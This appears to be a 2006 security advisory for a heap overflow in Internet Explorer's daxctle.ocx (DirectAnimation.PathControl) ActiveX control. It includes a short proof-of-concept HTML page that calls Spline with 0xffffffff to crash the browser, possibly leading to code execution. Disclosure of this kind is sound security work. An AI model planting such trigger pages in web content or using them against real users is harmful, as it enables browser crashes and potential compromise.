Advisory ID:
XSec-06-10
Advisory Name:
Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
Release Date:
08/28/2006
Tested on:
Windows 2000/XP/2003 Internet Explorer 6.0 SP1
Affected version:
Windows 2000
Windows XP
Windows 2003
Author:
nop <nop#xsec.org>
http://www.xsec.org
Overview:
When Internet Explorer handle DirectAnimation.PathControl COM
object(daxctle.ocx) Spline method, Set the first parameter to 0xffffffff will triggers an
invalid memory write, That an attacker may DoS and possibly could execute arbitrary code.
Exploit:
=============== daxctle.htm start ================
<!--
// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:WINNTsystem32daxctle.ocx
--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>
var target = new ActiveXObject("DirectAnimation.PathControl");
target.Spline(0xffffffff, 1);
</script>
</body>
</html>
=============== daxctle.htm end ==================
Link:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19
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